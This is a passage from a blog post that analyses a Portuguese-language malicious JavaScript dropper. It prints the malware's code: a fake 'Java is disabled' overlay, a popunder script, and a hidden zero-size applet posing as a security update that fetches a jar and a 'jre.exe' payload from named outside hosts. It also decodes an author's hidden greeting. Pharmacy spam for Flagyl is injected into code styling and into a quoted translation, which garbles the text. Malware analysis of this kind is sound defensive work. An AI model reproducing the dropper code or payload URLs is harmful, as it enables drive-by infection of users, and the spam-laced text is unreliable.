<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 149:</span>                 viewportheight = document.getElementsByTagName(<span style="color: #006080">'body'</span>)[0].clientHeight;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 150:</span>             }</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 151:</span>             <span style="color: #008000">//html = 'java is NOT enabled...';</span></pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 152:</span>             html = <span style="color: #006080">'&lt;div id=&quot;xyz_light_cont&quot; style=&quot;display: none; position: absolute; text-align: center; top: 0; left: 0; width: 103%; height: 103%; z-index: 9002; background: none&quot;&gt;&lt;div id=&quot;xyz_light&quot; style=&quot;display: none; margin: 0 auto; margin-top: 130px; width: 600px; padding: 0;    border: 16px solid #212121; border-top: none; background-color: white; z-index:9003; overflow: auto; font-family: Tahoma; font-size: 11px; color: black; text-align: center;&quot;&gt;&lt;!--&lt;div style=&quot;text-align: left; width: 70%; margin: auto auto; background-color: #fff; border: 1px solid #727272&quot;&gt;--&gt;&lt;div style=&quot;font-weight: bold; font-size: 12px; color: #fff; padding: 12px 8px 8px 4px; background-color: #212121; text-align: left&quot;&gt;Atenção&lt;/div&gt;&lt;div style=&quot;padding: 6px; background-color: #fff&quot;&gt;&lt;div style=&quot;text-align: right;&quot;&gt;&lt;a style=&quot;text-decoration: underline; color: blue&quot; href=&quot;javascript:void(0)&quot; onclick=&quot;document.getElementById(\'xyz_light\').style.display=\'none\';document.getElementById(\'xyz_fade\').style.display=\'none\';document.getElementById(\'xyz_light_cont\').style.display=\'none\'&quot;&gt;Fechar&lt;/a&gt;&lt;/div&gt;&lt;div style=&quot;padding-top: 8px; text-align: center&quot;&gt;&lt;img margin: 5px; padding: 0&quot; src=&quot;http://s1.postimage.org/317sn151g/java.jpg&quot; /&gt;&lt;/div&gt;&lt;div style=&quot;padding: 10px 0 25px 0; text-align: center; font-weight: bold&quot;&gt;Você não possui Java ou ele está desabilitado.&lt;br /&gt;Esta página possui recursos que requerem que o Java esteja ativado.&lt;br /&gt;&lt;br /&gt;&lt;a target=&quot;_blank&quot; href=&quot;http://www.java.com/pt_BR/download/&quot;&gt;Clique aqui para instalar o plugin do Java.&lt;/a&gt;&lt;/div&gt;&lt;!--&lt;/div&gt;--&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;'</span> + <span style="color: #006080">''</span> + <span style="color: #006080">'&lt;div id=&quot;xyz_fade&quot; style=&quot;display: none; position: absolute; top: 0; left: 0; width: '</span> + viewportwidth + <span style="color: #006080">'px; height: '</span> + viewportheight + <span style="color: #006080">'px; background-color: black; z-index: 9001; -moz-opacity: 0.8; opacity: .80; filter: alpha(opacity=80)&quot;&gt;&lt;/div&gt;'</span>;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 153:</span>             <span style="color: #008000">/**/</span></pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 154:</span>             <span style="color: #008000">//report java disabled access</span></pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 155:</span>             <span style="color: #0000ff">if</span> (jsm_report_on) JSM_createImg(jsm_report_javaoff);</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 156:</span>             <span style="color: #008000">//if (jsm_lab_on) JSM_labReport(jsm_lab_javaoff);</span></pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 157:</span>             <span style="color: #0000ff">if</span> (jsm_lab_on) JSM_labReport2(jsm_lab_javaoff);</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 158:</span>             hBody.insertBefore(JSM_createSpan(html), hBody.firstChild);</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 159:</span>             document.getElementById(<span style="color: #006080">'xyz_light_cont'</span>).style.display = <span style="color: #006080">'block'</span>;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 160:</span>             document.getElementById(<span style="color: #006080">'xyz_light'</span>).style.display = <span style="color: #006080">'block'</span>;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 161:</span>             document.getElementById(<span style="color: #006080">'xyz_fade'</span>).style.display = <span style="color: #006080">'block'</span>;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 162:</span>         }</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 163:</span>         hBody.insertBefore(JSM_createScript(jsm_popunder_url), hBody.firstChild);</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 164:</span>     }</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 165:</span> }</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 166:</span>&#160; </pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 167:</span> <span style="color: #0000ff">function</span> JSM_onCreate() {</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 168:</span>     <span style="color: #0000ff">if</span> (jsm_loaded) <span style="color: #0000ff">return</span>;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 169:</span>     <span style="color: #0000ff">var</span> myBody = document.body;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 170:</span>     <span style="color: #0000ff">if</span> (myBody) {</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 171:</span>         jsm_loaded = <span style="color: #0000ff">true</span>;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 172:</span>         JSM_onInit(myBody);</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 173:</span>     } <span style="color: #0000ff">else</span> {</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 174:</span>         setTimeout(<span style="color: #006080">&quot;JSM_onCreate()&quot;</span>, 100);</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 175:</span>     }</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 176:</span> }</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 177:</span>&#160; </pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 178:</span> <span style="color: #0000ff">function</span> WindowOnload(f) {</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 179:</span>     <span style="color: #0000ff">var</span> prev = window.onload;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 180:</span>     window.onload = <span style="color: #0000ff">function</span> () {</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 181:</span>         <span style="color: #0000ff">if</span> (prev) prev();</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 182:</span>         f();</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 183:</span>     }</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 184:</span> }</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 185:</span> WindowOnload(JSM_onCreate);</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 186:</span> setTimeout(<span style="color: #006080">&quot;JSM_onCreate()&quot;</span>, 7000);</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 187:</span> <span style="color: #008000">/*</span></pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 188:</span> <span style="color: #008000">msg = d_hex( d_b64( ?. ) );</span></pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 189:</span> <span style="color: #008000">NTM2MTc1NjQ2MWU3ZjU2NTczMjA2MTZmNzMyMDZkNjU3NTczMjA2MzZmNmM2NTY3NjE3MzIwNjQ2</span></pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 190:</span> <span style="color: #008000">NTIwNzQ3MjYxNjI2MTZjNjg2ZjIwNjQ2ZjIwNjI2YzZmNjcyMDYzNzI2OTZkNjU3MzYzNjk2MjY1</span></pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 191:</span> <span style="color: #008000">NzI2ZTY1NzQ2OTYzNmY3MzJlNjM2ZjZkMmUwZDBhNTM2MTYyNjU2ZTY0NmYyMDcxNzU2NTIwNmU2</span></pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 192:</span> <span style="color: #008000">MTY0NjEyMDczNjE2MjY1NmQ2ZjczMjA2NTczNzQ2MTZkNmY3MzIwNjE2Y2U5NmQyMDY0NmYyMDYy</span></pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 193:</span> <span style="color: #008000">NjU2ZDIwNjUyMDY0NmYyMDZkNjE2YzJjMjA2MTY2Njk2ZTYxNmMyMDYxMjBmYTZlNjk2MzYxMjA2</span></pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, <b>online Flagyl without a prescription</b>, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 194:</span> <span style="color: #008000">MzZmNjk3MzYxMjA2MTYyNzM2ZjZjNzU3NDYxMjBlOTIwNzE3NTY1MjA3NDc1NjQ2ZjIwZTkyMDcy</span></pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 195:</span> <span style="color: #008000">NjU2YzYxNzQ2OTc2NmYyZTBkMGE1NTZkMjA2MTYyNzI2MWU3NmYyYzIwNjQ2ZjIwNzM2NTc1MjA2</span></pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 196:</span> <span style="color: #008000">MTZkNjk2NzZmMjA1MDczNzk2MzY4NmM2ZjJlMGQwYTYyNzkyMDUwNzM3OTYzNjg2YzZmMjAyZDIw</span></pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 197:</span> <span style="color: #008000">MzEzMTJmMzEzMTJmMzEzMQ==</span></pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 198:</span> <span style="color: #008000"></span></pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, <b>Flagyl duration</b>, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 199:</span> <span style="color: #008000">*/</span></pre>  </div></div></p>
<p><p>&#160;</p></p>
<p><p>Now, some parts are more interesting than others.&#160; The end if the file just seems base64 encoded…cause it is.&#160; OK un-base64, you get a wall of numbers.&#160;&#160; But there is a clue in the d_hex function (that doesn’t exist), so we are assuming it is hex.&#160; Convert the tex to text and you see this:</p></p>
<p><blockquote>  <p>Saudações aos meus colegas de trabalho do blog crimesciberneticos.com.<br />
    <br />Sabendo que nada sabemos estamos além do bem e do mal, afinal a única coisa absoluta é que tudo é relativo.</p>
<p>    <br />Um abraço, do seu amigo Psychlo.</p>
<p>    <br />by Psychlo - 11/11/11</p></blockquote></p>
<p><p>Via Google translate you find this is Portuguese which I’m sure would make some of my Portuguese friends happy.&#160; Actually, if you want it to be hard to untranslate, use a language no one knows anymore, like Fries or <a href="http://en.wikipedia.org/wiki/Gronings">Gronings</a>!&#160; Cause you know every girl wants to hear, “Hey babe, I speak <a href="http://en.wikipedia.org/wiki/Gronings">Gronings</a>.”&#160; <sup>Note: my mother speaks Gronings.</sup></p></p>
<p><blockquote>  <p>Greetings to my coworkers crimesciberneticos.com blog.<br />
    <br />Knowing that we know nothing beyond good and evil, <b>purchase Flagyl</b>, after all the only thing absolute is that everything is relative.</p>
<p>    <br />A hug, your friend Psychlo.</p>
<p>    <br />by Psychlo - 11/11/11</p></blockquote></p>
<p><p>&#160;</p></p>
<p><p>Anyway, one of the things this code is trying to do is run a Java applet.&#160; But do take a look that the rest of that code, some of it will come in handy later.</p></p>
<p><p>&#160; Here is where that is happening:</p></p>
<p><div style="border-bottom: gray 1px solid; border-left: gray 1px solid; padding-bottom: 4px; line-height: 12pt; background-color: #f4f4f4; margin: 20px 0px 10px; padding-left: 4px; width: 97.5%; padding-right: 4px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; max-height: 200px; font-size: 8pt; overflow: auto; border-top: gray 1px solid; cursor: text; border-right: gray 1px solid; padding-top: 4px">  <div style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px">    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">   1:</span> <span style="color: #0000ff">function</span> JSM_getAppletHtml() {</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, <b>Flagyl without a prescription</b>, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">   2:</span>     <span style="color: #0000ff">return</span> <span style="color: #006080">'&lt;applet name=&quot;*ATENÇÃO* Atualização de Segurança Clique em EXECUTAR !!&quot; code=&quot;a.class&quot; archive=&quot;'</span> + JSM_getAppletURL() + <span style="color: #006080">'?r='</span> + Math.floor(100000 + (Math.random() * 999999 + 1)) + <span style="color: #006080">'&quot; width=&quot;0&quot; height=&quot;0&quot;  style=&quot;visibility: hidden&quot;&gt;        &lt;param name=&quot;l&quot; value=&quot;http://smsfame.com/Get/Get.php?a=jre.exe&quot;&gt;&lt;/param&gt;&lt;/applet&gt;'</span>;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">   3:</span> }</pre>  </div></div></p>
<p><p>Which is indirecteeze for:</p></p>
<p><div style="border-bottom: gray 1px solid; border-left: gray 1px solid; padding-bottom: 4px; line-height: 12pt; background-color: #f4f4f4; margin: 20px 0px 10px; padding-left: 4px; width: 97.5%; padding-right: 4px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; max-height: 200px; font-size: 8pt; overflow: auto; border-top: gray 1px solid; cursor: text; border-right: gray 1px solid; padding-top: 4px">  <div style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px">    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">   1:</span> &lt;applet name=<span style="color: #006080">&quot;*ATENÇÃO* Atualização de Segurança Clique em EXECUTAR !!&quot;</span> code=<span style="color: #006080">&quot;a.class&quot;</span> archive=<span style="color: #006080">&quot;http://advancedqualitysystem.com/Get/Get.php?a=/a1.jar?r=976646&quot;</span> width=<span style="color: #006080">&quot;0&quot;</span> height=<span style="color: 